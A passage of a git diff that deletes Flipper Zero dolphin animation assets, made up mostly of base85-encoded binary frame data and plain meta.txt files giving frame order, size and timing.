z4`~Ic2vfoUA+B6Pzk4iom2tn#;^n#umj2)0D*(zKo1-Q8UO(h1Iz*AKn{saKo1xP zj)D&Wh99IJJP5=B5D$o;JZusHD1+iHh=9~65D0)iBuBB7U;*_bz<=hjC=9?K6dnWu zJph1^L?03l@i1UO`M~5LF))3=DKH5lctQ0hzET0@{85TQ@O2P)tcE$@zuAGu0m(qJ zYT^7f#2)ypCWsy|b)dj30QIF_G>{KP{sglSd(r{p9Kb;V<8ToOJ+Kfs1SY=#oLm9t z0vC`Vxk15?P66wL(nEm5I-qzV>~RO4FU7BbfrcCp7#LW91BA&&M&|=3hyh@cRY|=B zxPkMN3rRXK28+UZpi_nfNC3E;(N!Q3fO|x)phCb5#6lnikXnF*Oeiots1-vHiw$HT z1*8Ck8X>_LkO6Q4((nTZzz$$};3Mb*AGjG~fcKn%l)T`Ez!#kk%<%v^onA%&S303c S-zHfA86^Sr1qbc`pn&=5kDA+B6Pzk4iom2tn#;^n#umj2)0D*(zKo1-Q8UO(h1Iz*AKn{saKo1xP zj)D&Wh99IJJP5=B5C{>IMFHbrkO@cm4+#(e;@F4{LV*B?LFW+wddQDsD8N8E5E%eH zq<9bf)&&8$9mJm09s~kC0Dy-C9}*Aocwk@14E!G09E1iY4;U8+9`FiG0!aYEfBup1 zd&#eqhy@Y>{fC1RaF8q=MgcT{f1v&g{h9%ol$M7j0?Dt7{R0Q2TI3&}t~ z1Mx?v5(qpv9#~BvRDTEI@I&L#2pOPYSics$wm--?JYaC>U_7vyD9f-<#IATGR5Ty~ zKM(=1l3-CEi~!J{Xb_La0BlZZ2wo5P072~%x`7Je`2Xj@?I5)Q3V1*qcs-~ULlD3d zqwv9l+K>Vm#{oJwhM0g94ps$d@F4sEe2)kI-WmY?!0hu70?t6~Faxu!KnolLvxGnj p)i43Z0L#E|IUTPI_d~KoKo0`~AAnro0fK=J_zsK#K=>E%d;lscmu#50PqKZJOSVj0C)qy9suwMfCl~!-UT!tw-1;80uQ+4CIOF! zgX<3jfPNA+B6Pzk4iom2tn#;^n#umj2)0D*!A3=dfVJa7P^1{7c(vjBL|1ENz9 zz=PH>4;=&^0Sp8U0Q|u5;0lHi2pljyVu10m3WhQKhvEV27Q{em0-=aO=Me*%$d6+v zz(6_>82~+`cn|#61p&Aho&iDNKqJry3_u?;5Ak?lU&svn9@rd&1||;}7YH8k3QPh? z0K$L%k??!Tuat-d5&`{(gA#C%EFDGxG=P7g{tNw@0hpAQhb02ZuZ#Ty2c+a4IIJd# z++Xx)*a735bc_a-c+x;1X+azaJfWC5_&jMEMR@Qp;PJRvB~a`*JuDCp0r;mE2~-$x zFd=y;2jG4v^x{DWhXczAqzaGV{5}YLdLaWe3=0?H*Otfm2M3G}9SjGS6D1jT3HX)I z1d4`)04L%AHWEwfI+{{RR*qE}EMTt6TD_&uZ+pdn8P1CIx_ z0;pmb0(5>DFndw}Lm1#EM)1=R0)fiFtsVp)fDe)2|J%brAGjT!VgOml9i{+wb%+6D ufOc?*0a~U2IKUZr4hJK(;hyMrNQeR8U_RSffG8gV{ttjq_rDAP diff --git a/assets/resources/dolphin/L3_Furippa3_128x64/frame_6.bm b/assets/resources/dolphin/L3_Furippa3_128x64/frame_6.bm deleted file mode 100644 index f46aabadf6b1ae21e3d61fe50b3691c7d6c063cd..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 521 zcmV+k0`~m@00ja7cmu#50PqKZJOSVj0C)qy9suwMfCl~!-UT!tw-1;80uQ+4CIOF! zfyz7&Y&;SH_?!XCzz$pm1_c0`cmW1AUIhRSF`!xn!~k{xc|%|jFhIeE;s7}SJa7s*c2Y|^a2<$=eApaMJ1^j@| z!R>*_Kw@C=fpCHE0HnYqkPIjP=^qEYn)yh8Q6L}Kcrhml0>RW^6G#X858%Jqpc#ot zXmU_2n)tuaFnUfwJ=1rhkb4GHFf2>f6M#O8p7;QxRG9?>hP z5UwAO{(K(N3s4ZJgaOBc+JRIt3;{Yn3>ZDB03nQU6Qg)(hyg(5U{;R;55Nb=@PF;$ zpby**&oKZjYfqw_UW%0@E diff --git a/assets/resources/dolphin/L3_Furippa3_128x64/frame_7.bm b/assets/resources/dolphin/L3_Furippa3_128x64/frame_7.bm deleted file mode 100644 index 07a63d6424edfe232cc55faf2756cca9485384c3..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 398 zcmV;90df8T0Ez(scmu#50PqKZJOSVj0C)qy9suwMfCl~!-UT!tw-1;80uQ+4CIOF! zgX<3jfPNA+B6Pzk4iom2tn#;^n#umj2)0D*(zKo1-Q8UO(h1Iz*AKn{saKo1xP zj)D&Wh99IJJP5=B5D$o;JZusHD1+iHh=9~65D0)iBuBB7U;*_bz<=hjC=9?K6dnWu zJph1^L?03l@i1UO`M~5LF))3=DKH5lctQ0hzET0@{85TQ@O2P)tcExaXbwsRlUEPn zt|0ftVKhMTgRKM}^sB~_0qDQLmSPWjKs;lZ2p~T25I6)Tz7J>+ysiLY@6g zO6mkG0L(-p09gg72t>kz1KNR9F$l2MLI7Go2tlG85s3g704*;7Fnj>!2c7~xfHC`l smN*Z2$Qet{2y6j)(Cp6;1F6;IUcmu#50PqKZJOSVj0C)qy9suwMfCmBpkAw5U0GI>vco7%~KIHHT z1UwyF2?#uA0Q$H{0pdas1jYg55Woy789)b&0yYnrFg&mmpnSl=;|QQxQ?mgFj3+_D zH%LT7<$*}RbV22y8i+mb03m?St`HayJ>`HQ!0=-bC@?+bz#*YeA@E2bJ>)?_LF)kn zj#5D@pd-aX!1M3}$K?YDxMXsX30DFi3Q$SHKg+Wz(67Z8-P9y0uM6tm<%3p;CwCweq`t<5GWL?94Aeas{f2wnmn4S)O| z0YKn1MNcxw0z(|^5sxL?E_DWKtbc>!Jr~=4-}B)a6tGph%)1~B0Iz@!4=gh~K|3LmQUL&XqM4gg-Ku?-MBWDtu45FU!Lnhgj>GYI4e z{Gs!Z0Y`xY2dQ*Ny* dI7Rs27DoVFD1bfW41$AzguwvwjseIfKm^${pj`j} diff --git a/assets/resources/dolphin/L3_Furippa3_128x64/meta.txt b/assets/resources/dolphin/L3_Furippa3_128x64/meta.txt deleted file mode 100644 index 8b01676f5..000000000 --- a/assets/resources/dolphin/L3_Furippa3_128x64/meta.txt +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: Flipper Animation -Version: 1 - -Width: 128 -Height: 64 -Passive frames: 8 -Active frames: 11 -Frames order: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 -Active cycles: 1 -Frame rate: 2 -Duration: 360 -Active cooldown: 7 - -Bubble slots: 0 diff --git a/assets/resources/dolphin/L3_Hijack_radio_128x64/frame_0.bm b/assets/resources/dolphin/L3_Hijack_radio_128x64/frame_0.bm deleted file mode 100644 index cf2120ff470ed140a0d47f8adcfedd64a8d20cd8..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 524 zcmV+n0`vU=00;vAfII=<4*+-rz#ahb2Y@^Q;12+J1Hc^RUH~ZK7yu!Ef~mg&l>gs< z0+a|ongB_2=NJzFKIZ&r9DHANybK@1{0G+80S$qCz@u&L?SMnp2bF384}p6D^MCHa z;m|ICK6moyY2a$|_{Be1B z_1@fzk3(N>7S?zlxT`9#A0ogVTq9g@ew41d(XP=VSg~;Hj|y3A{t&2LqOX zBrqU(%pwvm*nHFC4;V-A;4y&t56?soFT@N!Fvf^Kd8K*sdIr~590(U zs62`y4-ou9;1~gjhQ)p~0s7tW2a<#X=NDfII=<4*+-rz#ahb2Y@^Q;12+J1Hc^RUH~ZK7yu!Ef~mg&l>gs< z0+a|ongB_2=NJzFKIZ&r9DHANybK@1{0G+80S$qCz@u&L?SMnp2bF384}p6D^MCHa z;m|ICK6moydAvUe z4CbAH(1Y5=_NBlv@yzD~LFxymuRHCPz&0?<#{z&4SzY_JCBSe2<6sB2t&TES06g#j z_w~xK7yu)fFdrfL=z-<Ggk>LU;sg2?ePEr diff --git a/assets/resources/dolphin/L3_Hijack_radio_128x64/frame_10.bm b/assets/resources/dolphin/L3_Hijack_radio_128x64/frame_10.bm deleted file mode 100644 index 1354c78f2ce9d20f8e2b08bad75be024c8b4018e..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 550 zcmV+>0@?im03rhafIt8H0hjbC;12+J1Hc{t@CSfA0pJe+cmu!?uZ39z`kHnw)XbGA?pLmwE%~} zy@2_@_h9ho7eF67`E+st0xO6;`d`8WiKJjOAoj6;sc;N`6C=RTdV%Td&i`d_4UCf|z@P)xSAP9Ta2yHddcY5D zU;pbRfN%rjV88?4*DAnZ2jegY$6OvT0{Fay9`gBW6i?!y5PR3_um}%|P7f3M=-eY# z4~*V0FA#gz^x&a{#3T>}`sy9SPT;0k$7k=NpgZVC3@91cn6=9t;9u5Rrbv=ARIF!Y9FT7>Rtoa!<%S{|EAhPy^%- zU-Ud~P-+4FLFENYoC^Sd7$H4DLu*4rY^Z^6M{0Si0fBpab3Vf�Q4{f5&!@I diff --git a/assets/resources/dolphin/L3_Hijack_radio_128x64/frame_11.bm b/assets/resources/dolphin/L3_Hijack_radio_128x64/frame_11.bm deleted file mode 100644 index c15289b5ec4e1bf2622a9d4e63dabf35ff48e539..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 572 zcmV-C0>k|Q05}5wfII=<4*+-rz#ahb2Y@^Q;12+J1Hc^RUH~ZK7yu!Ef~mg&l>gs< z0+a|ongB_2=NJzFKIZ&r9DHANybK@1{0G+80S$qCz@u&L?SMnp2bF384}p6D^MCHa z;m|ICK6moyM;G#;+THpei>dh@^8Tmxey$#5tZuD#Z~-@3~0->EJGfjrMx z0ps8L-+TXkU;pbRfN%rjV89E+9y5$^JbiMk1^|9D0C@Gmn5fFIDpmcnf zp7Y|Lf8wRFCXWIH9}s$Q|M0MQ#tGvDk!Z!|WBz~Osj-6yNIo!fd1wMd0*DU=0WgS2 zzhU!Fh&*8v;JA!LzF#>fgs< z0+a|ongB_2=NJzFKIZ&r9DHANybK@1{0G+80S$qCz@u&L?SMnp2bF384}p6D^MCHa z;m|ICK6moyM;G#;ROdh@^8Tmxey$#5tD^_AbhQd|cDd7iKX+gJbk$zU7+ z_}DN2_w~xK7yDIo{EcjsC^iG+9t zG5_(!<>TT1B|@gs< z0+a|ongB_2=NJzFKIZ&r9DHANybK@1{0G+80S$qCz@u&L?SMnp2bF384}p6D^MCHa z;m|ICK6moyM;G#;+k_jh%>`t!fpTmxey$#5tZuYH%D-P_9V->EJGfjrMx z0poe!-}is*U;pbRfN%rjV8D8}`g!-iRu3Oss{w!?jKCf~ukD||x(AP39xwv#QwTB2-kz-2Z#&A9`*hBC}S|m1Oa}! zhj8DxG5-V(!2oZpv;9-P&)-ErfIrv4{kCslF9AsiJ>$PR(fmQ=V;}zDAj zh=ayO`{U>Qm!A~-{}nBWM0gM&`2){~|Am9Z`ZNe2e1+v>{(s=9v4%hm;vX0}9JB!; zfkZG6F$lyYP(C7k0pke21;#KRDn5EoNznt#@P8;}0!8BoxB4D8C^Z27qVj^J&IN!U zi9LbjVGwwS;uf9}h`|@-K*>)zAo9E54gs< z0+a|ongB_2=NJzFKIZ&r9DHANybK@1{0G+80S$qCz@u&L?SMnp2bF384}p6D^MCHa z;m|ICK6moydAvUe z3?`9)(1Y5={-wY%@JxpTLFxymuRHCPz&0TApaa%de*H;s8~}LO0qv_}jFtcoJODkj z{<&5I01p{}J@5Tsc)$zd@)3K><)~3Vihx1yTdu$$De(u1{d8^-uLs5t5EqC&>HDxy z#$l2O0{wLk;lFTW{s`lo%LzKVeWf3Ji4Y~H|L0+JAW$9{FA_=CvCKmItp zynH?6s8%5JkwEDADJ3VxKL5o_Vh<<~d_n2M|H8rNK!QlLV)L>8Kk!u8fCSzl@q>ZO zKoS@bJmwJz7wkT1@du0}_;47&e23?v2bbao9~fl-J|Oo0L&fC=pdZv;P*l0Vum|yi z6Vx6>5eJBVA#e-;#6x1g8UX!n_yfs80rQUm34lT8z!$CjJ|q-(p*+9)`S=`IVh^MN Q1IPRcAXxy-TqLo801PJV%>V!Z diff --git a/assets/resources/dolphin/L3_Hijack_radio_128x64/frame_3.bm b/assets/resources/dolphin/L3_Hijack_radio_128x64/frame_3.bm deleted file mode 100644 index dc0fb9b79cc78fac3cda74455bf92526b8504378..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 529 zcmV+s0`C0*01X2FfII=<4*+-rz#ahb2Y@^Q;12+J1Hc^RUH~ZK7yu!Ef~mg&l>gs< z0+a|ongB_2=NJzFKIZ&r9DHANybK@1{0G+80S$qCz@u&L?SMnp2bF384}p6D^MCHa z;m|ICK6moyx?2gVN&7l=LU z`|wc4VUh>}{dErEzi?yz2pxg|-&tq+r+uHkih%%suY>z+-oRc0k`Q~xes!bxgUH4| z{y4n6d_Ux zgMrIH5*QFX<`D@O>^^Dn2aF^5a2UXRhv%XPm*NH=7-axHAol-5#pMQ|AJkq@RJp*g z2l0Xv)E-3<2Z(+la0~#%Lt?)g0R3+G1Ia=G^N#@ufI;WL7p?q0Boud{Jiq(-_#9Yb T52OJD$NUK(SpdykB(Z=1M>Oxj diff --git a/assets/resources/dolphin/L3_Hijack_radio_128x64/frame_4.bm b/assets/resources/dolphin/L3_Hijack_radio_128x64/frame_4.bm deleted file mode 100644 index 025477a7a943d7eac253ddddafe16f07fea0a0a4..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 571 zcmV-B0>u3R05<~vfII=<4*+-rz#ahb2Y@^Q;12+J1Hc^RUH~ZK7yu!Ef~mg&l>gs< z0+a|ongB_2=NJzFKIZ&r9DHANybK@1{0G+80S$qCz@u&L?SMnp2bF384}p6D^MCHa z;m|ICK6moy#QwTB2-kz-2Z#&A9`*hBC}S|m1Oa}!hj8Dx zG5-V(!2oZpv;9-P&)-ErfIrv4{kCslF9AsiJ>$PR(fmQ=V;}zDAjdC0$f zeE*X3;-7!wrLhN;2tGjb;s4=a^PoWk9JtssDFT@N!Fv JGgk>LU;r>`30MFC diff --git a/assets/resources/dolphin/L3_Hijack_radio_128x64/frame_5.bm b/assets/resources/dolphin/L3_Hijack_radio_128x64/frame_5.bm deleted file mode 100644 index 89a4cd6acf85afc12c608940bc379d5b1464e61c..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 574 zcmV-E0>S+O06GHyfII=<4*+-rz#ahb2Y@^Q;12+J1Hc^RUH~ZK7yu!Ef~mg&l>gs< z0+a|ongB_2=NJzFKIZ&r9DHANybK@1{0G+80S$qCz@u&L?SMnp2bF384}p6D^MCHa z;m|ICK6moyEJGfDao0 zJbV7%r~kLB|NUgJ0D0goL&5v*|KRcU%CHy#_{;(0wcGc8b?|ug!Q%igi^zRn|F`}> z_Xmu=T7?t%s0Y>D?$P#p(0JGDum}o#LE?X18-#1Y@q@$#;tzWM{1h>mWP$*{T|>BU z+!+6Y2Vj6V)>;0k-)HZlpg@lx1>$^;)8I6U}&_*gvX5J?w|UUom{{tBBA0Gq@?gHR9Z4=5^J;8+P4?4H2#D2O~m z@e6=p1|tMtl>;T`r09X;cfcM>5D%Pq2uuPGJ^;OM;qf4&y$R+2-_O9}!w`KS2p&J+ MNdm|QYT+e}07|gs< z0+a|ongB_2=NJzFKIZ&r9DHANybK@1{0G+80S$qCz@u&L?SMnp2bF384}p6D^MCHa z;m|ICK6moygT??~7m$PAUoAq3{8R!Ddi{0*0Z)iLPwS&_jd(sVc!0b??_b}7 zhBFM1Ko{$%cMbc4AMilz5C;0oKh-TT1B|@ZO zKoS@bJmwJz6c31>KzPDGhXITS$bNbtd43>a@rF<&UNC!qq2ls`P!H-aC@NgwSONHx z*d9d@2Z(+la0~#%V2kpg57zI1Jd_|GIPegd1Ri_=df&t1K}UKM%m2ThfyIU(`alpo Of54IjkPOwrOBeu5#pKBV diff --git a/assets/resources/dolphin/L3_Hijack_radio_128x64/frame_7.bm b/assets/resources/dolphin/L3_Hijack_radio_128x64/frame_7.bm deleted file mode 100644 index fb6d9bd292c739951e00a03612b86833b5222191..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 655 zcmV;A0&x8S0E+_ufIt852lspgKhS;iz(e>4-y8%#zgs<0+a|ong+SfFdhJW`Tz5N zG!8y5l&I41Fni(o&u{_Gwd0_X$Y z;r`#tqmT#@TtV!i9sF8g4;lbH%EMoU*a72!{{z^>Ao1V>%lHpousn6}Tm%I;Keha8 z!Gqy}z&`8v2b5|V0QG~`KqeZz1_1_$1IIKkPhxmM<>HaRIxwL6N<3fuygmU@qTo6p zfdCwjJl-FK2XjuqXhH2_|5D%>|E6Dop!IgYySuI5*PZ^#;2RlcYk@$ud+faK?%r2^ z{Yh{f38q@W4;#+@|GWQc|NmJm1AreJ1_RZ<)6c#7xnKX+D!^a|<1h!0tNUl~?xlau zxIAD5@p%ucy{-Q-23Po(%TS_!6#)9KcYfWnpR4>=>#zt4d_m%WT^w(JUJr~OATJPm zcdN6rHKZgN~2g{H1l72zw_<@JU89)z^J%7;gc|oWL^#_y{ zE^sUX{9uIj2a!ZU;vZQboc=Hj0K`LLzZwR5d3lj=zxR9rof1`a$*CIJVZ0A6_y p{rn^(6nCV8VdMYr=iqV&z2mSC6afRr{4F2=@9*sa->Za{FaVQOM?U}n diff --git a/assets/resources/dolphin/L3_Hijack_radio_128x64/frame_8.bm b/assets/resources/dolphin/L3_Hijack_radio_128x64/frame_8.bm deleted file mode 100644 index a0377f635fe25d6ae38494e2e28ec168af6f1f3d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 645 zcmV;00($)c0D%Jk|NZ~_|M&_Z3G;);_z%CBJbnQF`UCIo0uXceiGk!D-3L^J| z&NuYD3?IUn5PMnjAN{TZ8v=R)3!o2ykjtZx z2oan?^A?x`#()o+{4T%`90&LxTmX500q^tI!Eg{1;QrU~uLci>2LSu4*dQSCjYA+F zuzJV@!&iX7AkhGL=7s6({)5lOBY<>aLG+Y(zxjB40;5O3bU^|DIUaleOZY%_G`t3c z9@a1QE&-43Wq2A7R`StyE@tgPm*Gn$0|I`PJ1Jg=*53Be4-PiB> zxcs78g&U0(KsK)bH`m+QhsJ?LfIw5?4-@+6|M(h^d|>ebc!S=rxCIPm86bc!*HG>o z_Xa=Uf!H7o^_G9CciH>ss1OJG_&>JI>;>Q{AqTv7=UP9AJd9)i1Ro%I@c;0zc%Mdr1P_qBtbfn^6*e%)0lY)w2P2k)zyEwE%~}y@2@7+&i#%bPJ#liT>hU9DqQI;tz5V#iju9pabT=3$O#n z0saTq03Kh!d~4vi2nuk2XZY6x2g3t^ebw==1dM7K0QG~`KqeZz1_1_$1IIKkPiOQV zekmLSqY4kCqs9Nr!@+|^z;rScHu4_9LwW0+&T zdEe}=0kM{5xD*RlUh7@&-DP+0)RzIko@cB8@$da_z5l+i|Milhm&hJ9dh7xMpAdMT*GK=s z(}Uv&hzrCX^l|X`zcBd(0e-rNaNIaC_yj`10B@|b{Zqcr-$g)xKi9$iwr^lB0Z9lw zuABcR@;tv=__%1Pk`El}cen>q32l9qc zBw8?gf1%@YgHR9Z4=5^J;8+P4?4G{xc^E_jf@01)tm2VkEkh=8RH9=ZSk diff --git a/assets/resources/dolphin/L3_Hijack_radio_128x64/meta.txt b/assets/resources/dolphin/L3_Hijack_radio_128x64/meta.txt deleted file mode 100644 index 8af34cdc5..000000000 --- a/assets/resources/dolphin/L3_Hijack_radio_128x64/meta.txt +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: Flipper Animation -Version: 1 - -Width: 128 -Height: 64 -Passive frames: 8 -Active frames: 8 -Frames order: 0 1 2 3 4 5 4 6 7 8 9 10 11 12 11 13 -Active cycles: 1 -Frame rate: 2 -Duration: 360 -Active cooldown: 7 - -Bubble slots: 0 diff --git a/assets/resources/dolphin/L3_Lab_research_128x54/frame_0.bm b/assets/resources/dolphin/L3_Lab_research_128x54/frame_0.bm deleted file mode 100644 index db283e81fbb46514ec3a63dedb87bba98daeb086..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 611 zcmV-p0-XH;0AB(C9v}oX06F|W|M~y;20#3`JpT|Kgajs8?>{Feln0y|4Y0(-C|H1b ze#7Yjgbl!hQGMmP^FfkZ{(4=*JIk|}|Q#BCT6`h2W`agbO8 zUe7-Od}#U4@H~1P4h3P}!192K27NKCgT@U8C!TZU4=M~g;13_bAXDh;6iC5=_{D9tfb60|+AxcxrGc1{wqGfrH#I zFh$UV$NuRUAk1~a@(CBh2dw^-#2!@PD1**04;T;f05=#8I0hgCg9FQe4>)8L9C!=} z{9rZ!dP0r`0JvZvKI!m1W`WXx!-Zq+;mlAa0)}!0#r}Z!AaVFSz#fwWuz&~_F!*F( z&`?Nc0vHcJ<_;Ga2dn}n4>*6q3viYd#bPmN1h5=j4j=vtFyjpbZXoffD~B~v1BMS0!Vg3qc>D(j1F-*q3?7~ge*j`T1L%MXMh`v)KESLHh=bRFH!b|) xaRBTC(n22@;1qe0==1{c4`bMf2Qi0(z%7CJ5D(+ROd0S!garY-UjV~52cXVC@<9Lq diff --git a/assets/resources/dolphin/L3_Lab_research_128x54/frame_1.bm b/assets/resources/dolphin/L3_Lab_research_128x54/frame_1.bm deleted file mode 100644 index c600743700f179ba45f3713af0d427024c0b683c..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 614 zcmV-s0-5~*0Ad0F9v}oX06F|W|M~y;20#3`JpT|Kgajs8FFofaln0y|4Y0(-C|H1b zeuL=&gblVi*Vs{7vFNSUds*4@7v6$R3bLgaSUV zF#4v(5Rn;sJp2Lj&VPa9(BN<@4)+I)1W+^Sjbt7$XfQo8K=Po&t^o1;0t9}2Cs^b# z5MX%#2x1@s2bDts1^HjW=ji{x1RkOF03G-r)({Yz#6QwFEXW@hfDq_6kWYm?3^Cvk z;1_}qJp>E*UmSqstPzL>unH*g!9eZ-fnbXWT4E0>2l(zh5kV*h5JnpC)ZkDIGzZxO z2e@Ehi=hXP{n9W&nCpY&5-)@gS^X)9JgLG_2b^FYFdyUqZZI5h3_u442bTaIaL6b) z@E8&Jz-$2Yg&Yb2aKJ!))8Kl|1Em3n3dh~Un4n4p4CD)o{Q>YmT9()Xafmk6C2d@Bb zTlvJ|0oVtmgg!ICDDxxH=mp>&$FUF&V-E*_TLbVQAIF54GvIp&3Ilk)0fuf5K-I|j AUjP6A diff --git a/assets/resources/dolphin/L3_Lab_research_128x54/frame_10.bm b/assets/resources/dolphin/L3_Lab_research_128x54/frame_10.bm deleted file mode 100644 index 694302a9de7918f0009e738f417aee84929cc94a..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 576 zcmV-G0>AwM06YQ!9v}oX06F|W|M~y;20#3`JpT|Kgajs8FFofaln0y|4Y0(-C|H1a z{(s=~fWiji4`F%WAQ1rjUtk&Vc?bqT4?=ju_#g0jNIn4(1Ld6mKx2@~WCOWRcd$IXkvtp&@n2DjkU{6tfMm3Sv7B52LevrY zgU1zU6^t^#@(=)wL;xW1;?zOo0|%$0|NozZ#!FIw90UR&2ERZjwde=N0uPG_eBrP! z@P0?-|HA*l?pz#HpjbYjc}IXlfP;g}B_y0cKUeTrjz$4sj6g3C1o(wV{Xc*(NrWvi ztUxmYvj0ch#Gn{Mlud(R1c^Xl;P>4E2^v4~ki;MmC;`4`{>`4n793gXT2=jDH}1^mv2X86<#s1EcsD2sA<>MHmz^P);C_ z@!(+hKM_1<_3cxEV0<=bAA8&^YMpFP7%pt(_jsnU6)DW1% zh3SCDumk|1^+<{YKnn{Z68!)T3&0ix064&W*c=DE2gD~q4FZ>7A20}z6te*NkV^oi O7ze{pY5-D3m;pc_5AB-( diff --git a/assets/resources/dolphin/L3_Lab_research_128x54/frame_11.bm b/assets/resources/dolphin/L3_Lab_research_128x54/frame_11.bm deleted file mode 100644 index 246b955cf93c8b6abccaef6f44dd1b8fcf01e296..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 585 zcmV-P0=E4D07U`-9v}oX06F|W|M~y;20#3`JpT|Kgajs8?Qy>+`d;`bH6T!eM0P%w<1Ri}T21`kR2cO}nAoays z1!4~%0SrU{Ao1eVLF4$pgU`|b|IfkWC8+{O@m~j+0PoNV?RY*h%fLPCA@jh%>;d^7 zmBs*~5Cazn6)3=ef#)6p4gwAjER>Uh0fGMkVmTNEf-wLj3VeT`_-76P!4P=FBngp# zWDVEGEIQ0!9He2gc|SKmmpW#vuTKKp=xL2Z$g*0)HTTR-hpA4v0Ki zg9Hea2Rs810L%a+4`{>`4p8U;;6d*i1d2RL0uOj(kXAFnh{1uR5fHe*p^}1VqsIZm zfrH%qa1Q_^jv}!rAU$s%2pB!Z;s7b|2t*?wR*1|)>42l~90EraAeP1)4?l(-AV2|! zgvuN*KlUF0V-Ny|&w>9BkK_ITSXmIDAIxBNfCCG_76bqw`mi_;cn^q9f*J)bz&>CR XASq@6^B|T1N&FxOY7IaNNYel)t_A1i diff --git a/assets/resources/dolphin/L3_Lab_research_128x54/frame_12.bm b/assets/resources/dolphin/L3_Lab_research_128x54/frame_12.bm deleted file mode 100644 index b6fb1130bb895889494bb5ade77a02bde7d64d3f..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 571 zcmV-B0>u3R05<{v9v}oX06F|W|M~y;20#3`JpT|Kgajs8?>{Feln0y|4Y0(-C|H1b zf5GVigbl{$PW`(gUcXM5qN{j$Y?L&5Mnlr2>m`&KzT+3=VWyFD^hl;o$Q4Kxh#Hc>DwBo`b-F<2Zqz;2w~8Fg*W?^nruNfdGyx%sy0bd3hl7 z2n4a7egOE<^PlJpav4m3cPZ}m2cMEBgMfZ3>M>FYJhPuD21`gQ8O6XPEkRGD0~Kf$ zj55IT5CDus03h+=)Is9|2dAU||DS`#OHzOw1Ogxizd$Fo=m*9E4~qzV;jl08en;j1 z!vDeUTpU!OSU#Y6M}R|sgM-T@B%DA$SMXSlMgd@qKravk_=QLPKW_?DSVGep!~-xZ zFZ6x9N&$p9MA$X}NR$R14}H)ek)!_^3_<|{fI$Xg4-i1WJ|FlPJ?l^qd4E6RvIdAm zpgG_ekBFo|_KZP5KREVHN0I;$lFVFzcya8Z91B?gFfxvsfd_r^(&?$BS^8kqfOE3?a1h5KGfP6Iu JpamppfE4a4{Feln0y|4Y0(-C|H1b zf5GVigblZNCreNFnGtz;#ePmJcH%p#C)WX z@VLR?5QvR~01sUxE&&9G1Ir*$5qN{k$Y&TQ9>x3~evkkDfAWB6JP|>8fE)Y|7=%=KG%$PcLE|5b#6J}9{zM^_zb^tK2MT9Le2aW^z$AG~B z;`StforZh`8I0jlDDeliXbLdlK-vT25P(3S5J8ycfTRx?z&;~TP&onw9xTBNh$LV! z=+Hdia{znBB#A=cKmqeuI0yhC~6P5ffOzqZ9xjyjs2bT_F4@nFI7?mIP z{sA9@mq;F$2y_GS!!3+4h#>XC3JV8-g~kEz0H-gD;RU!A$R3bNfD~Zg$SlGP4?xk! B`X>MY diff --git a/assets/resources/dolphin/L3_Lab_research_128x54/frame_2.bm b/assets/resources/dolphin/L3_Lab_research_128x54/frame_2.bm deleted file mode 100644 index 1025137e462b44c2341e193471c8b457d4451c1e..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 618 zcmV-w0+sy%0A>OJ9v}oX06F|W|M~y;20#3`JpT|Kgajs8?>u;K^nyrYW-I1e0-Lm*#YJs^FyKMwk_VLr9dHMa;1D45={mx!Dc}Cya0zmyn=iw;9-vd zhXDr%rh*0hFOL9nRtUrb*aZ}L;GlO12ZI0!7=(ZxbPw^|cp&kBs0I*58t~NMPz*E& zVFL%dXkd$>2ao;IFhQ8>gX9t~gb#84DTq9&!chmDU>-1URk2L^%fAlv|X z!yusJz+hlI$PIuVkfVV>E*J<7+I|mNpmd-x;aKgt^AKo+Mj6N#7y1L>f!yPh0D4Rg z!T=yx&gKz=K|vv$2w*(_m^o`OLFoXAgU%oDi|{3daafF60W1d>1Bd^Ma5%$38;Cq= z3gdudj6(*8h6o-aQh;wT6fk&}5PBf<$KWU`;s1aP9-a(;0^tMTA4C9BFnRDX_5~QI zgdU@F-_AS&K?kISJ~O~5^CQ=Y12{qIdl3NUAo1rIhu}azj0_$DI0vwRpf`_!a7M%c EAd|oRBLDyZ diff --git a/assets/resources/dolphin/L3_Lab_research_128x54/frame_3.bm b/assets/resources/dolphin/L3_Lab_research_128x54/frame_3.bm deleted file mode 100644 index e623a1c0fa5cba36a8a2f364e19c96d49a644e13..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 608 zcmV-m0-yZ>09*n99v}oX06F|W|M~y;20#3`JpT|Kgajs8?>{Feln0y|4Y0(-C|H1b ze#7Yjgbl!hQGMmP^FfkZ{(4=*JIk|}|Q#BCT6`h2W`agbO8 zUe7-Od}#U4@H~1P4h3P}!192K27NKCgT@U8C!TZU4=M~g;13_bAXDh;6iC5=tAQr$VqsIjUxHpA@EFo!#Jg6VzxbR>SMhK(?j5Xn@z@Qjt54r{qaKOPA zLje*Cq+o+F*9XWXUkDuRra#0%CzE6f=-6FZ2h%Ul;_y9+LyGfCv^pvlyBR z2@K#v0q6X|@!{b0fJDLP4@eEpSXUK@#h?7QS@!$>1e>g3O uJ!B#Ao&iUh9*jUOfc8CzfO8OdbOOvDfdKw6Fn9#m9>M~E-aG}tnS;Vi*Vs{7vFNSUds*4@7v6$R3bLgaSUV zF#4v(5Rn;sJp2Lj&VPa9(BN<@4)+I)1W+^Sjbt7$XfQo8K=Po&t^o1;0t9}2Cs^b# 